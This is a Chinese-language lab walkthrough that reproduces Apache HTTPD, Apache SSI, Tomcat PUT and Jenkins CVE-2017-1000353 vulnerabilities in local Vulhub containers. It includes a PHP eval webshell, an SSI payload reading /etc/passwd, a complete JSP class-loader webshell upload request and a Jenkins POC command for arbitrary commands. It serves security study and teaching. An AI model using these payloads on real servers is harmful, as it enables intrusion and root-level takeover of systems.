(CN) Recurrence of common middleware-related vulnerabilities
Vulhub - Docker-Compose file for vulnerability environment
常见中间件相关漏洞复现
中间件介绍
中间件是一种独立的系统软件或服务程序,分布式应用软件借助这种软件在不同的技术之间共享资源。中间件位于客户机/服务器的操作系统之上,管理计算机资源和网络通讯。是连接两个独立应用程序或独立系统的软件。相连接的系统,即使它们具有不同的接口,但通过中间件相互之间仍能交换信息。执行中间件的一个关键途径是信息传递。通过中间件,应用程序可以工作于多平台或OS环境。
常见的各类中间件包括:IIS、Apache Tomcat、Apache、JBoss、WebSphere、IBM HTTP Server、Weblogic 等。
Apache HTTPD 换行解析漏洞
Apache HTTPD是一款HTTP服务器,它可以通过mod_php
来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
首先,通过vulhub仓库找到对应漏洞的路径,并且使用docker-compose
命令编译及运行漏洞环境。
之后,打开Burpsuite抓包软件进行抓包,发现正常上传php后缀文件时,会返回bad file来提示用户无法上传该文件。
使用Burpsuite软件将抓到的发送出去的数据包发给软件中Repeater模块,从而对数据包进行修改,在1.php
后加入一个新字节“0a”
,如下图所示。
并将数据包重新发送,服务器端返回200 OK
并且没有bad file提示,那么可以知道文件上传成功了。
接下来访问127.0.0.1:8080/1.php%0a
发现刚才上传的文件能够成功被解析,但是该文件不是php
的后缀,说明了目标存在着上述漏洞。
其中,上传的1.php文件内容如下:
<?=phpinfo()?>
验证漏洞存在后,上传一句话木马:
<?php @eval($_POST[pwd]); ?>
使用中国蚁剑webshell
远程连接,获得系统最高权限。
Apache SSI 远程命令执行漏洞
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php
后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml
文件,并利用<!--#exec cmd="xxxx" -->
语法执行任意命令。
首先,通过vulhub
仓库找到对应漏洞的路径,并且使用docker-compose
命令编译及运行漏洞环境。
之后,使用Burpsuite抓包并上传一个普通的php
文件,可以看到服务器返回unsupported filetype uploaded
,即正常上传php
文件是不允许的。
随后编写shell.shtml
并上传:
<!--#exec cmd = "cat /etc/passwd"-->
发现成功上传shell.shtml
文件,通过浏览器访问,返回如下内容,发现shell.shtml
中的指令被服务器执行了并且返回了对应的内容。
Tomcat PUT 方法任意写文件漏洞
漏洞本质是Tomcat配置了可写(readonly = false)
,导致了我们可以往服务器写文件:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
# highlight !!
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
虽然Tomcat
对文件后缀有一定的检测,不能直接写入jsp
,但是我们可以使用文件系统的特性,如Linux
下可以使用 /
来绕过限制。
首先,通过vulhub仓库找到对应漏洞的路径,并且使用docker-compose
命令编译及运行漏洞环境。
使用Burpsuite直接发送以下数据包,即可在Web根目录写入内容。
PUT /1.jsp/HTTP/1.1
Host:127,0.0.1:8080
Accept:*/*
Accept-Language:en
User-Agent:Mozilla/5.0 (compatible;MSIE 9.0;Windows NT 6.1;Win64;x64;Trident/5.0)
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:958
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("test");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
上传的jsp
脚本能够在服务器后台运行并且使得用户远程连接shell
,达到getshell
的目的,从而对服务器进行控制。使用中国蚁剑这款webshell
工具远程连接服务器,并且直接输入whoami
指令,发现当前用户为root
,即用户此时获得了该服务器的最高权限。
Jenkins-CI 远程代码执行漏洞
Jenkins存在未经身份验证的远程代码执行漏洞,经过序列化的Java SignedObject
对象传输到基于远程处理的Jenkins CLI
,在使用新的对象ObjectInputStream
对其进行反序列化操作即可绕过现有的基于黑名单的保护机制。远程攻击者可利用漏洞在受影响的应用程序的上下文中执行任意代码,或造成程序拒绝服务。
首先,通过vulhub仓库找到对应漏洞的路径,并且使用docker-compose
命令编译及运行漏洞环境。访问127.0.0.1:8080
,可以看到Jenkins运行成功。
接着下载生成POC的工具,并且执行以下命令生成字节码文件,执行后当前目录下会出现Jenkins_poc.ser
文件,这就是序列化的字符串。
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
# jenkins_poc.ser是生成的字节码文件名
# "touch ..."可以替换为待执行的任意命令
使用exploit.py文件,将刚才生成的字节码文件发送给目标。
进入docker容器,查看/tmp/success
已经成功创建,命令成功执行,说明命令执行漏洞利用成功。